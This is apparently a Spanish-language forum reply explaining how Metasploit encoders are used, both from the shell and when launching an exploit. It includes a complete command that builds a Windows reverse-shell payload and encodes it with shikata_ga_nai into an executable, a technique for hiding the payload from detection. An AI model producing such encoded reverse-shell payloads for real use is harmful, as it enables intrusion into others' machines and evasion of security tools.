mmm Los Encoders son usandos de 2 formás!
1. Dentro de la consola Shell de Linux (Pará ver las opciones ejecutar ./msfencode -h)shell@Alex:~/msf3$ ./msfencode -h
y para usarlo con un archivo binario. Así:
shell@Alex:~/msf3$ ./msfpayload windows/shell_reverse_tcp LHOST=172.0.0.1 LPORT=1234 R | ./msfencode -e x86/shikata_ga_nai -t exe > /home/shellroot/Archivo_Codificado1.exe
2. Al momento de lanzar un ExploitEn ocasiones al momento de lanzar un exploit, nos saldra un hermoso mensaje de...
Exploit failed: No encoders encoded the buffer successfully... ahora para solucionar este failed, ejecutamos
show encoders, para visualizar los que son soportados por el exploit, y despues,
SET Nombre_Encoder.
Con respecto a la otra duda, de encodear un archivo
*.PDF, no tengo ni la más minima idea... xD